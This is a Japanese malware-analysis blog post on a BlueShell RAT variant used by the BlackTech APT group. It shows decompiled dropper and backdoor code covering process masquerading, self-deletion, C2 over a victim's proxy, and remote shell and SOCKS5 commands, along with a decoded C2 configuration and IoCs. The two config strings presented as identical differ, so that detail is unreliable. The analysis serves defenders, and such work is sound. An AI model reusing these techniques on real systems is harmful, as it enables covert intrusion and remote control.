

APTグループが使用するBlueShell亜種の分析 – IIJ Security Diary

sect.ij.ad.jp/blog/2026/07/blueshell-variant-deployed-by-apt-group

Naoki Takayama

2026年7月29日



BlueShellはGo言語で開発されたオープンソースのRAT (遠隔操作マルウェア) です。BlueShellに感染したホストはC2サーバを介して遠隔操作が可能となり、リモートシェルやSOCKS5プロキシなど、攻撃者に様々な機能へのアクセスを提供します。BlueShellは主に中国を拠点とする脅威アクターによる攻撃で使用されていることが報告されています。

我々は、BlueShellの亜種といえるLinuxマルウェアを特定のAPTグループ (BlackTech²など) が侵入後の攻撃活動で使用していることを確認しています。専用のドロッパーを介して実行される点、プロキシサーバを経由したC2通信といった独自機能が実装されている点など、このBlueShell亜種にはオリジナル版と異なる要素が複数存在します。この記事では、2026年5月に観測した³最新のBlueShell亜種を分析することで得られた知見を共有します。

ドロッパー

攻撃者はSSH等の手段で横展開したホストにドロッパーを設置、実行します。後述する通り、ドロッパーはBlueShell亜種を実行するだけでなく、設定情報の読み込みやアンチフォレンジックに関連する機能も有しています。

ドロッパーが実行されると、まず自身の .data セクションに含まれる0x21E3BAバイトのデータをXORデコード (鍵: 0x63) します。

```
20  MwUnlinkAndRemove((__int64)"/tmp/kthread");
21  ptrXorEncodedPayload = (unsigned __int8 *)MwAllocateMemory(0x65AB2E);
22  ptrDecompressedPayload = (unsigned __int8 *)MwAllocateMemory(0xA972A2);
23  MwMemcpy((int *)ptrXorEncodedPayload, g_XorEncodedPayload, 0x21E3BAu);
24  for ( j = 0; j < 0x21E3BA; ++j )
25      ptrXorEncodedPayload[j] ^= 0x63u;
```

図1: データのコピーおよびXORデコード処理

XORデコード後のデータはFastLZを使用して圧縮されており、ドロッパーはこのデータを展開して、それをファイル /tmp/kthread に書き込みます。ここで生成されるファイル /tmp/kthread はBlueShell亜種の実行ファイルです。

Offset(h)	00	01	02	03	04	05	06	07	08	09	0A	0B	0C	0D	0E	0F	Decoded text
00000000	7F	45	4C	46	02	01	01	00	00	00	00	00	00	00	00	00	.ELF.....
00000010	02	00	3E	00	01	00	00	00	A0	40	46	00	00	00	00	00	..>..... @F.....
00000020	40	00	00	00	00	00	00	00	98	68	39	00	00	00	00	00	@.....~h9.....
00000030	00	00	00	00	40	00	38	00	0A	00	40	00	1B	00	1A	00	@.8...@.....

<SNIP>

00001F70	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	00	
00001F80	04	00	00	00	53	00	00	00	04	00	00	00	47	6F	00	00	S.....Go..
00001F90	70	4E	79	6F	39	51	35	4F	6B	36	59	67	4D	67	57	30	pNyo9Q5Ok6YgMgW0
00001FA0	68	6C	6F	48	2F	31	6D	52	4D	71	66	57	6A	30	73	2D	hloH/lmRMqfWj0s-
00001FB0	72	63	43	72	7A	33	6B	79	6C	2F	30	37	58	64	78	71	rcCrz3kyl/07Xdxq
00001FC0	43	44	31	62	4A	65	4C	78	79	53	54	5F	56	67	2F	66	CD1bJeLxyST_Vg/f
00001FD0	6B	73	4D	32	46	70	56	6C	65	57	73	70	37	63	77	6F	ksM2FpVleWsp7cwo
00001FE0	77	51	54	00	2F	6C	69	62	36	34	2F	6C	64	2D	6C	69	wQT./lib64/ld-li
00001FF0	6E	75	78	2D	78	38	36	2D	36	34	2E	73	6F	2E	32	00	nux-x86-64.so.2.

図2: BlueShell亜種 (本体)

最終的に、環境変数 wtim に所定の文字列を設定した上で、ドロッパーはBlueShell亜種 (/tmp/kthread) を実行します。この際、コマンドライン引数 (argv[0]) に

[kworker/12:12] という文字列を設定することで、BlueShell亜種のプロセスをLinuxカーネルのワーカーに偽装します⁶。

```
37  MwChmod777((__int64)"/tmp/kthread");
38  MwExecAndRemove(
39      (__int64)"/tmp/kthread",
40      (int)"[kworker/12:12]",
41      (__int64)"wtim=V1tNUVJVTVFSU01aUkNXV1BDVVVVQw0WdW9DUlNNUVJTTFVTFVFW0NQULFbQxcGEBdDFwYQF0NSQ1M=");
```

図3: /tmp/kthread の実行処理

更に、実行後に /tmp/kthread を削除することで、ファイルシステム上にBlueShell亜種を残さないよう工夫しています。実際にドロッパーを実行した環境で ps コマンドを実行したり、/proc/PID/exe の内容を確認したりすることで、これらの解析妨害が正しく機能していることがわかります。

```
user@linuxvm:~$ file ./dropper
./dropper: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.18
, BuildID[sha1]=69729b220ee31948c0149c791e72abdc06dc491, stripped
user@linuxvm:~$ ps aux | grep "\[kworker/12:12\]"
user      3302   0.0   0.0 1002768 5200 ?        Sl   08:19   0:00 [kworker/12:12]
user@linuxvm:~$ readlink -f /proc/3302/exe
/tmp/kthread (deleted)
user@linuxvm:~$ cat /proc/3302/environ | tr '\0' '\n' | grep wtim
wtim=V1tNUVJVTVFSU01aUkNXV1BDVVVVQw0WdW9DUlNNUVJTTFVTFVFW0NQULFbQxcGEBdDFwYQF0NSQ1M=
```

図4: ドロッパーを実行した環境で調査用コマンドを実行した結果

なお、ドロッパーはBlueShell亜種の実行後も削除されずファイルシステム上に残存するため、これを保全および解析することでBlueShell亜種も入手することが可能です。しかしながら、実際の攻撃事例においては、実行後に攻撃者がドロッパーの実行ファイルを削除するような所作を確認しています。このような場合、ファイルシステム上に存在するドロッパーを発見・解析することができません。よって、マルウェア解析を実施したり設定情報を入手したりする為には、ファイルシステムのカービングやメモリフォレンジックを実施する必要があります。

BlueShell亜種

BlueShell亜種が実行されると、まずドロッパーによって設定された環境変数 wtim 内の文字列をBase64デコードおよびXORデコード (鍵: 0x63) して設定情報を入手します。設定情報は空白文字で区切られた文字列となっていて、BlueShell亜種は各パラメータを適切にパース (数値に変換する等) してこれらを使用します。

```
>>> config = bytearray(base64.b64decode('V1tNUVJVTVFSU01aUkNXV1BDVVVVQw0WdW9DUlNNUVJTTFVTFVFW0NQULFbQxcGEBdDFwYQF0NSQ1M='))
>>> for i in range(len(config)):
...     config[i] ^= 0x63
...
>>> print(config.decode())
48.216.210.91 443 666 null 10.210.20.254 3128 test test 1 0
```

図5: 設定情報のデコード結果

```

42  v31 = os_Getenv("wtim", 4);
43  v32 = encoding_base64_ptr_Encoding_DecodeString(qword_7958D8, v31._r0, v31._r1);
44  r0 = v32._r0;
45  r1 = v32._r1;
46  v0 = 0;
47  v1 = 0;
48  v2 = 0;
49  while ( 1 )
50  {
51      v26 = v1;
52      v30 = v2;
53      if ( r1 <= v0 )
54          break;
55      v27 = v0;
56      v33 = runtime_intstring(0, *(_BYTE *) (r0 + v0) ^ 0x63u);
57      v34 = runtime_concatstring2(0, v30, v26, v33._r0, v33._r1);
58      v0 = v27 + 1;
59      v1 = v34._r1;
60      v2 = v34._r0;
61      r0 = v32._r0;
62      r1 = v32._r1;
63  }
64  v36 = os_hostname();
65  v35 = strings_Fields(v30, v26);

```

図6: 設定情報をデコード・パースしている処理

オリジナル版のBlueShellに存在しない機能としてホスト名のチェック機能があり、設定情報内のホスト名と実行環境のホスト名が一致しない場合、BlueShell亜種は実行を終了します。今回観測したBlueShell亜種では null という文字列が設定されており、ホスト名のチェック機能が無効化されていました。

```

125  configHostnameText = *(_DWORD **)(configTextFields._r0 + 48LL);
126  configHostnameLength = *(_QWORD **)(configTextFields._r0 + 56LL);
127  if ( configHostnameLength == 4 && *configHostnameText == 'llun'
128      || env_hostname._r1 == configHostnameLength
129      && (result = runtime_memequal(env_hostname._r0, configHostnameText), (_BYTE)result) )
130  {
131      if ( qword_796758 )
132      {
133          v22 = flag_ptr_FlagSet_Parse(
134              qword_7958E8,
135              qword_796750 + (((1 - qword_796760) >> 63) & 0x10),
136              qword_796758 - 1,
137              qword_796760 - 1);
138          main_start(v22); // Execute Malware Main Routine
139      }
140      runtime_panicSliceB(1, configHostnameText, 0, v19, qword_796760);
141  }
142  return result;

```

図7: ホスト名のチェック機能

次に、設定情報内の値をもとにC2サーバに接続・通信します。オリジナル版のBlueShellと同様、C2サーバに直接接続する機能も存在しましたが、今回のBlueShell亜種は被害組織のプロキシサーバを経由して、C2サーバに接続するように設定されていました。

```

70 if ( g_ConfigUseProxyCredential == 1 )
71 {
72     v39 = v46._r0;
73     credString = runtime_concatstring3(
74         v35,
75         g_ConfigProxyAddressText,
76         g_ConfigProxyPortText,
77         ":",
78         1,
79         g_ConfigProxyAddressLength,
80         g_ConfigProxyPortLength);
81     credSlice = runtime_stringtoslicebyte(v34, credString._r0, credString._r1);
82     credEnc = encoding_base64_ptr_Encoding_EncodeToString(qword_7958D8, credSlice._r0, credSlice._r1, credSlice._r2);
83     v42 = 0;
84     proxyCredential = ((retval_5CB24A (__golang *) (__int64, __int64, __int64, _QWORD *))loc_463182)(
85         credEnc,
86         v3,
87         v2,
88         httpReqString);
89     httpReqString[0] = "CONNECT ";
90     httpReqString[1] = 8;
91     httpReqString[2] = v39;
92     httpReqString[3] = v46._r1;
93     httpReqString[4] = " HTTP/1.1\r\nHost: ";
94     httpReqString[5] = 17;
95     httpReqString[6] = v39;
96     httpReqString[7] = v46._r1;
97     httpReqString[8] = "\r\nProxy-Authorization: Basic ";
98     httpReqString[9] = 29;
99     httpReqString[10] = proxyCredential._r0;
100    httpReqString[11] = proxyCredential._r1;

```

図8: プロキシサーバを経由して通信する処理

なお、2023年以前に観測されたBlueShell亜種には、プロキシサーバ経由でC2通信を行う機能は実装されていません。今回観測したマルウェアを含め、2024年以降に観測されているBlueShell亜種では、当該機能が実装されていることを確認しています。このことから、攻撃者は実際の攻撃活動から得られた知見をもとに、継続的にBlueShell亜種を改良・拡張している可能性があります。

接続に成功すると、C2サーバのX.509証明書のCommon Nameフィールドに microsoft, google, cloudflare, centos, ubuntu のいずれかの文字列が含まれるか確認して、含まれている場合のみC2サーバへの接続を続行します。このような機能はオリジナル版のBlueShellに存在しないため、マルウェア開発者が独自に追加した機能だと考えられます。

```

if ( strings_Count(*(_QWORD *) (v38 + 376), *(_QWORD *) (v38 + 384), "microsoft", 9) > 0 )
    main_HandleClientConnection(r0, 0);
if ( strings_Count(*(_QWORD *) (v38 + 376), *(_QWORD *) (v38 + 384), "google", 6) > 0 )
    main_HandleClientConnection(r0, 0);
if ( strings_Count(*(_QWORD *) (v38 + 376), *(_QWORD *) (v38 + 384), "cloudflare", 10) > 0 )
    main_HandleClientConnection(r0, 0);
if ( strings_Count(*(_QWORD *) (v38 + 376), *(_QWORD *) (v38 + 384), "centos", 6) > 0 )
    main_HandleClientConnection(r0, 0);
if ( strings_Count(*(_QWORD *) (v38 + 376), *(_QWORD *) (v38 + 384), "ubuntu", 6) > 0 )
    main_HandleClientConnection(r0, 0);

```

図9: Common Nameフィールドを確認している処理

次に、C2サーバに感染ホストに関する以下の情報を送信します。

- ホスト名
- ユーザ名
- UID

- ローカルIPアドレス
- BlueShell亜種のPID
- C2サーバへの接続日時

オリジナル版のBlueShellでは、OS名 (windows, linux など) を送信するだけなので、この機能もBlueShell亜種の独自の実装だといえます。

ホスト情報の送信後、BlueShell亜種はC2サーバからコマンドを受信して実行するループ処理に突入します。今回観測したBlueShell亜種に実装されていたコマンドは以下の通りです。

コマンド名	オリジナル版のBlueShellにおけるコマンド名	説明
x0	—	指定された秒数スリープする。オリジナル版のBlueShellには存在しないコマンド。
x1	upload	感染ホストにファイルをアップロードする。
x2	download	感染ホストからファイルをダウンロードする。
x3	shell	リモートシェルを実行する。
x4	socks	SOCKS5プロキシを実行する。

コマンド名を直感的でないものに改変することで、マルウェア解析を妨害していると考えられます。なお、Goバイナリに含まれる pcIntab (Program Counter Line Table) に関数名などのメタデータが残存していた為、コマンド名が変更されていて尚、main_GetInteractiveShell といった関数名からコマンドの機能が推測可能な状態でした。

```

if ( remoteCommandLength >= 2 && *remoteCommandText == '0x' )
{
    main_Sleep(a1, remoteCommandText, remoteCommandLength);
}
else if ( remoteCommandLength >= 2 && *remoteCommandText == '1x' )
{
    main_UploadFile(a1, remoteCommandText, remoteCommandLength);
}
else if ( remoteCommandLength >= 2 && *remoteCommandText == '2x' )
{
    main_DownloadFile(a1, remoteCommandText, remoteCommandLength);
}
else if ( remoteCommandLength >= 2 && *remoteCommandText == '3x' )
{
    main_GetInteractiveShell(a1);
}
else if ( remoteCommandLength >= 2 && *remoteCommandText == '4x' )
{
    main_RunSocks5Proxy(off_678E58, a1);
}

```

図10: 受信したコマンドを処理している実装

設定情報

先述した通り、ドロッパーによって環境変数内にBase64エンコードおよびXORエンコードされた設定情報が格納され、BlueShell亜種はそれをデコードして使用します。

```

>>> config = bytearray(base64.b64decode('V1tNUVJVTVFSU01aUkNXV1BDVVVVQw0WDw9DUlNNUVJTTVFTTVFwV0NQULFbQxcGEBdDFwYQF0NSQ1M='))
>>> for i in range(len(config)):
...     config[i] ^= 0x63
...
>>> print(config.decode())
48.216.210.91 443 666 null 10.210.20.254 3128 test test 1 0

```

図11: 設定情報のデコード結果 (再掲)

パラメータ名	値	備考
C2サーバアドレス	48.216.210[.]91	Microsoft Corporation (AS8075)
C2サーバポート番号	443	—
スリープ時間	666	C2サーバとの接続に失敗した際に再試行するまでの秒数
ホスト名	null	null でない場合、ホスト名のチェックに使用する
プロキシサーバアドレス	10.210.20.254	被害組織のプロキシサーバと思われる
プロキシサーバポート番号	3128	Squid ⁷ のデフォルトポート番号
プロキシサーバユーザ名	test	—
プロキシサーバパスワード	test	—
プロキシサーバ使用フラグ	1	1 の場合、プロキシサーバ経由でC2サーバに接続する
プロキシサーバ認証フラグ	0	1 の場合、設定情報内の認証情報を使用してプロキシサーバに接続する

なお、2023年以前に観測されたBlueShell亜種も同様に環境変数 (lgdt, wtim など) 内のBase64エンコードされた設定情報を参照しますが、今回観測したBlueShell亜種のようにXORエンコードされるようになったのは2024年以降に観測された検体に限ります。また、2023年以前に観測されたBlueShell亜種はプロキシサーバを介したC2通信に対応していなかった為、設定情報内にプロキシサーバに関連するパラメータが存在しませんでした。

```

38 myexec("/tmp/.ICECache", "/usr/sbin/irqbalance --foreground", "lgt=MjAyLjg3LjIyMy4xMjQgNDQzIDUgZS1sZWYbm1uZw==");
39 return 0;
40 }
0000073D main:36 (40073D)
Python>base64.b64decode('MjAyLjg3LjIyMy4xMjQgNDQzIDUgZS1sZWYbm1uZw==')
b'202.87.223.124 443 5 e-learning'

```

図12: 過去のBlueShell亜種の設定情報 (XORエンコードなし・パラメータ数が少ない)

さいごに

過去にASECが公開したレポート内で、本稿で取り上げたBlueShell亜種が韓国とタイを標的とするAPT攻撃で用いられた可能性があることが報告されています。しかし、我々はBlackTechによる日本国内の組織を標的としたAPT攻撃においてもBlueShell亜種を観測しています。同種のマルウェアが継続して観測され続けていることから、今後も警戒が必要だといえるでしょう。

Appendix: IoCs

ファイル

SHA256	説明
944b774d592f5e7fe2c34ac6c3abb2a77bfa96707c4f3c33ac77b8d54800244f	apid (BlueShell亜種ドロップパー)
3228da011423853efd3d94ce3a28046b5ca19e921861ea5aee2700bc90fc1d55	/tmp/kthread (BlueShell亜種)

ネットワーク

48.216.210[.]91:443

- BlueShell Backdoor: Cross-Platform Malware in Go – Hunt.io
<https://hunt.io/malware-families/blueshell-backdoor> ←
- 中国を背景とするサイバー攻撃グループBlackTechによるサイバー攻撃について – 警察庁
<https://www.npa.go.jp/bureau/cyber/koho/caution/caution20230927.html> ←
- 当該ファイルは2026年5月にインドネシアおよびシンガポールからVirusTotalにアップロードされていた。 ←

4. ariya/FastLZ – GitHub

<https://github.com/ariya/FastLZ> ←

5. 書き込み先のファイルパスはドロッパー (攻撃キャンペーン) によって異なる。過去の攻撃では、 /tmp/.ICECache など にファイルを書き込むBlueShell亜種も確認されている。 ←
6. 偽装先のプロセスはドロッパー (攻撃キャンペーン) によって異なる。過去の攻撃では、カーネルワーカー以外のプロセス (/usr/sbin/cron -f など) に偽装しているBlueShell亜種も確認されている。 ←
7. オープンソースのWebプロキシサーバー。
<https://www.squid-cache.org/> ←
8. 韓国国内とタイを対象とする APT 攻撃に使用された BlueShell マルウェア – ASEC
<https://asec.ahnlab.com/jp/56951/> ←

カテゴリー: [マルウェア解析](#)

タグ: [MalwareTargeted Attack](#)